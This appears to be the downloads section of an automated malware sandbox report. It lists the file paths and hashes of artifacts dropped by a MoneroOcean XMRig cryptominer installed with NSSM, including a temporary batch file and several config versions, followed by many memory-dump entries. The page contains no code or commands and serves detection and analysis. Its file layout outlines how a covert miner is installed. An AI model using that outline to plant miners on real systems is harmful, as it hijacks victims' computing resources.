Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
56efdb5a0f10b5eece165de4f8c9d799

SHA1
fa5de7ca343b018c3bfeab692545eb544c244e16

SHA256
6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

SHA512
91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7d2c1b305fcad0bc1e0744c700ec634d

SHA1
6ed72e22ffd3a378f6e069cacc91b3a8b76f4c42

SHA256
f8752d1077fed8a3dbe83adf9bc5d4c407f9f0819eda9823e7e8c96b481222bd

SHA512
98d30981e0c60e446e1bd05dc16cedce9f15b6c7730c7615ee4350dabaa7c9b841044b4aef0b3a63733eb5f4a8baa8aac7287d2aef989e8a576dc394eba6e3a4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
cec8df684ee8925cfee49a56593318fc

SHA1
83c58b9aa4f6c2ce19976306d27098c6b78cd440

SHA256
df4c5572de90b2825f6427f4acc4552cf0382e9d9c7ab090608fd920119b22ac

SHA512
689c8b8fb1449a14fbbd66804b1e19ad22026258b371c829db67269b72cd88ff511893259949a33928379708cbfc41353263c65251491ee756a5f0b0a3f31ac5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ad37673bc628ef951176ff8273b5b98e

SHA1
dd4ee6a2c36e59755e6c782a89b0631a884e4948

SHA256
6aebebabab06d33beac763bac593cda8771413ffcc3848b95141377413884168

SHA512
2345112d1851c6e02df1e60155bed38bb48a1631a684e2a8d28c94131d8fa2a2fb58f570f0fcacb5d43104664087d45bb9dc4c12ebb0b58c72a6248d44a27cea

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8bde976152c80fb823f96251a214a2fe

SHA1
f96b9fe7a4407cd3a910ecb48b407cf49fac71fc

SHA256
ede3f6c86b0de72641c6201d0c8a46a30519e355c62cb43344f24ebb836d80c6

SHA512
e2d6d93a2df034efcd11e119ef611c0fe366a0a8c067c719ee144c11b3759115ba11969c408dad3e46ccd999c080fe24d9a08ca4acbf95bed28b21ddce002778

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
64f1d7882a2b18ca53f524d1fac1c31b

SHA1
a619d117591eaf58bd20cd4d88c1c9557e11ba29

SHA256
f28a5111b9f190f049d2ef4751cebb07edcf77700b54b1c9714bb03b0082ebcb

SHA512
ab6926c3274caf778306635301b2d30b0d4d4ef4cd98d076ce9c0d99d8ff634c05208b26f2ea845ef4400e11a8b12b34888b2789ca30499362be1b8a4ae92536

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7e8a5373415d5e9c0d8b4ac919db6ac8

SHA1
b27aa35b050421220813f25b710e6af0f63192a5

SHA256
ebf9dd0e7624f97d8724b5f2088e0217ccda5b253851f2f38560b7ed31d12855

SHA512
f2ff8c187b95e163f3abb37524e2397502e519416ecdc7921f1e33e18ec94fc422ccc253caca08978b680f85dae7d7bb13e9b7cd86151b2f42b2b1109ef36ff4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
71ea0e948430b1f5f70ecfcfc19f2e2b

SHA1
7f64721ae2b0fa3842342d6f600d53f478407a52

SHA256
49bfd870ccb5c135b1612ab2a368357d53c94283ae576150ea5096877a7cf1ed

SHA512
674079e39103241b03c190ea82fa68c6468d6046cb716365a58c7a49283055130d3ffbcaae3d98b1e59ee34869fd2ea994a85aa151e13dcb3b7f1de6959924ea

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c5a42ab9c5c55465b3a007c52df0df23

SHA1
5a4364364259000f7ed38305420ce63562392162

SHA256
815cb0f5864c635e91c79ad3bdad702a4e1d28ffbe4d7ee9fdfb4fc5c0f653ae

SHA512
3861da56a2f67216195209418ff191a591468af982dbb9c2a249e1daa0b93b564488ae69c3af4cad67f460d4826d5a324bbd28b0a755d40a5be073e0413e599b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
627d991727de30bad19803deafd5f924

SHA1
55be8121ac43732435b7558fa65843a1066eceac

SHA256
f25dc14dadd5978dd5a224918659fd86ffa42a170e5c5c863f728e8be704d9fe

SHA512
d57b4c49b76eb840d53a93860d6e6487d1c00fa144baba9725e3b5fc2406f8af3598c4f61ec58412c1007f49a41785084a18d94cb9d94e47fc42414300bf9c51

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
4b3e9900e211e3dbefa5bfd301d269d6

SHA1
6ea67227677e57e264f8170baa8debc2f1196f2f

SHA256
848a69afca01a5f1763e27584053f94fc6ba3bafbf37d61be7dde2c53e511a39

SHA512
85e33eb262f0793f2856c5b843bba1fd9c383cdfba28c7fc693239d0b63b604ed151f4cfc8468b22899c85d5e14fcc0b238126afade6c1fdd7b7bd8d1e226b8d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b2ca22886906af79ae4889820599038d

SHA1
6ebc307e4dc9338c5308bd6e31a53df7f2693276

SHA256
d14b9a8f13b9e7ba3063ea239ea2c16112eea1825962a2366d6693e48724641c

SHA512
e34fc4f71a11e1c9b1ae7bcc5de3ae71bb1233d0c74a64eaf623bcd0e500943b40a2ca9b901128769a9e4e0e818c4540000886e84eb4c7694c25e9957cf91582

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rugg02rf.3zb.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpCF85.tmp.bat

Filesize
14KB

MD5
012a668bd1043d6b0a4bcd03d02ded41

SHA1
8595831d19a06d5ad38cb38b793eb1bdcc16b816

SHA256
57375e5d331ed567ca2da98b126ac585ff7829d15c31ad98eb452339e3ba1d05

SHA512
e43947f10872db119daa4f28c70046941602831a8e8a871ccad45f8712a972d76b31a05282de7f4bc99d2e23fe40ef9dceaef3ea84b7c6532b85fee920269792

Download Submit
C:\Users\Admin\moneroocean\config.json

Filesize
2KB

MD5
d4f8a13f8c90e2b3b2e7d30a553df39c

SHA1
5c5303ef682ffcd31e57d1abd900ba5b637d51e4

SHA256
f7fc5b53e709adc1f4116ff47656f7262d7fb2859a100b3e3a5568453485649a

SHA512
68b0b59a732fecc8b345fa0429039d36bc3031ab65198e4d3783a5c16fa768bb6562131c1db58d00ad9c4af7fd8d77aed3c2150930663280a6bbd635ba5831bd

Download Submit
C:\Users\Admin\moneroocean\config.json

Filesize
2KB

MD5
c9ef9c214996db3d88f571226910c5d5

SHA1
420ba30247b1e09f706557a7704a1ebee5d3165c

SHA256
fa55a24dccbf28309642d958cbb73f5053e3a56baa0eda22d4581e0151f5f7c1

SHA512
de91ef4268e67c4fa8d7216637bd9ca69ea33b108352675c954d4719d2d58b9414df78c6ebc8f622fcfbeda4ad5f981c2a17a48f7eeae8626cefe5b6894ec68d

Download Submit
C:\Users\Admin\moneroocean\config.json

Filesize
2KB

MD5
67099c11aee7715195c370daf8713cf6

SHA1
4ffe1365749d5828225c3c91efbf37524f6b4574

SHA256
91a469ac7711ea2098eeed42b648548c51a109b83fd54fac53b643a4d9f127c8

SHA512
4a4351749e0a6dfb211196af3eb892486c3df501ec6923cad96c16605e40cca3febaf908ece586e36a55b2945141140c18c0359badd0d609999aed747221145b

Download Submit
C:\Users\Admin\moneroocean\config.json

Filesize
2KB

MD5
e3b9b22db047eeacf220bc3b9c7f4eb2

SHA1
3b32a79bfde5b7860537e969a65c9ce854794efb

SHA256
5ef97aec367578d4ef6954f09f3ad4db6bb92d74dd08db7452c9e7bda32327d4

SHA512
0f9f534bcf09077b826fee22bfcdb24cdef734ab10f903687107b28b28c2e45cfa72655ae5716561a4b2aade574595a373f27df380792aa7bec3281056ab7d27

Download Submit
C:\Users\Admin\moneroocean\config.json

Filesize
2KB

MD5
a95317d05f94f08d17bd77cda0988c08

SHA1
90eee1a7ac3be0828fba575b1c9632efc4842564

SHA256
ebe2ea08e88891c1195ac7d3a425582ed3bce8d5c3f20bfda043352cf3626a00

SHA512
958795d47d5351b82406b8d4444b483025aa2b8e4a9505e1aa49b7674f1fb0c10fde40325d1cf706f3c3303368777b1a7d9af919893416bb367f7a8d3286afbf

Download Submit
C:\Users\Admin\moneroocean\config.json

Filesize
2KB

MD5
12d25779840bba866f4d71347a07eab7

SHA1
ac6c036155c882c695d1cdcb2b654de79b9e7bfa

SHA256
5c75ad14dc7bb90d38fc1812a02da90332708612e95681ba2cd0effc740f062f

SHA512
5973a1b1bbafb7bdcae7ac93610c63ae34f48aa42bf174441171041d25e23db60b80fba1f79faedafca27f11037e07881975c3f8ace2a3091c06cab8b9ca6dfc

Download Submit
C:\Users\Admin\moneroocean\config.json

Filesize
2KB

MD5
88508a886b6fa68d53ea89c3f39d40cc

SHA1
1e85cf0db0b30289bb737843665d459013396029

SHA256
f468ef658728172768c1253db8d93eafc21bfd72d8bbdf3676e9f40e8e4f99b5

SHA512
deae44719d1d59709d99408d625aaaf9858aedb18d553b080531a3c2d728b59629c2fbed7b7dbb252e427918264905855858b1020ef588a85f359ae0aa759761

Download Submit
C:\Users\Admin\moneroocean\nssm.exe

Filesize
360KB

MD5
1136efb1a46d1f2d508162387f30dc4d

SHA1
f280858dcfefabc1a9a006a57f6b266a5d1fde8e

SHA256
eee9c44c29c2be011f1f1e43bb8c3fca888cb81053022ec5a0060035de16d848

SHA512
43b31f600196eaf05e1a40d7a6e14d4c48fc6e55aca32c641086f31d6272d4afb294a1d214e071d5a8cce683a4a88b66a6914d969b40cec55ad88fde4077d3f5

Download Submit
C:\Users\Admin\moneroocean\xmrig.exe

Filesize
9.0MB

MD5
9ee2c39700819e5daab85785cac24ae1

SHA1
9b5156697983b2bdbc4fff0607fadbfda30c9b3b

SHA256
e7c13a06672837a2ae40c21b4a1c8080d019d958c4a3d44507283189f91842e3

SHA512
47d81ff829970c903f15a791b2c31cb0c6f9ed45fdb1f329c786ee21b0d1d6cd2099edb9f930824caceffcc936e222503a0e2c7c6253718a65a5239c6c88b649

Download Submit
C:\Users\Admin\nssm.zip

Filesize
135KB

MD5
7ad31e7d91cc3e805dbc8f0615f713c1

SHA1
9f3801749a0a68ca733f5250a994dea23271d5c3

SHA256
5b12c3838e47f7bc6e5388408a1701eb12c4bbfcd9c19efd418781304590d201

SHA512
d7d947bfa40d6426d8bc4fb30db7b0b4209284af06d6db942e808cc959997cf23523ffef6c44b640f3d8dbe8386ebdc041d0ecb5b74e65af2c2d423df5396260

Download Submit
C:\Users\Admin\xmrig.zip

Filesize
3.5MB

MD5
640be21102a295874403dc35b85d09eb

SHA1
e8f02b3b8c0afcdd435a7595ad21889e8a1ab0e4

SHA256
ed33e294d53a50a1778ddb7dca83032e9462127fce6344de2e5d6be1cd01e64b

SHA512
ece0dfe12624d5892b94d0da437848d71b16f7c57c427f0b6c6baf757b9744f9e3959f1f80889ffefcb67a755d8bd7a7a63328a29ac9c657ba04bbdca3fea83e

Download Submit
memory/3668-424-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-438-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-475-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-474-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-473-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-472-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-471-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-470-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-469-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-468-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-467-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-466-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-465-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-408-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-414-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-415-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-416-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-417-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-418-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-419-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-420-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-422-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-423-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-464-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-425-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-426-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-427-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-428-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-429-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-430-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-431-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-432-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-433-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-434-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-435-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-436-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-437-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-463-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-439-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-440-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-441-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-442-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-443-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-444-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-445-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-446-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-447-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-448-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-450-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-451-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-452-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-453-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-454-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-455-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-456-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-457-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-458-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-459-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-460-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-461-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3668-462-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/3924-93-0x000001C778FA0000-0x000001C778FB2000-memory.dmp

Filesize
72KB

Download
memory/3924-92-0x000001C760D60000-0x000001C760D6A000-memory.dmp

Filesize
40KB

Download
memory/4696-136-0x0000000000400000-0x000000000102B000-memory.dmp

Filesize
12.2MB

Download
memory/4696-135-0x00000000001D0000-0x00000000001F0000-memory.dmp

Filesize
128KB

Download
memory/5028-25-0x00007FF98D080000-0x00007FF98DA6C000-memory.dmp

Filesize
9.9MB

Download
memory/5028-20-0x00007FF98D080000-0x00007FF98DA6C000-memory.dmp

Filesize
9.9MB

Download
memory/5028-9-0x0000021D7C4D0000-0x0000021D7C546000-memory.dmp

Filesize
472KB

Download
memory/5028-26-0x00007FF98D083000-0x00007FF98D084000-memory.dmp

Filesize
4KB

Download
memory/5028-32-0x00007FF98D080000-0x00007FF98DA6C000-memory.dmp

Filesize
9.9MB

Download
memory/5028-33-0x00007FF98D080000-0x00007FF98DA6C000-memory.dmp

Filesize
9.9MB

Download
memory/5028-8-0x00007FF98D080000-0x00007FF98DA6C000-memory.dmp

Filesize
9.9MB

Download
memory/5028-5-0x0000021D7C320000-0x0000021D7C342000-memory.dmp

Filesize
136KB

Download
memory/5028-0-0x00007FF98D083000-0x00007FF98D084000-memory.dmp

Filesize
4KB

Download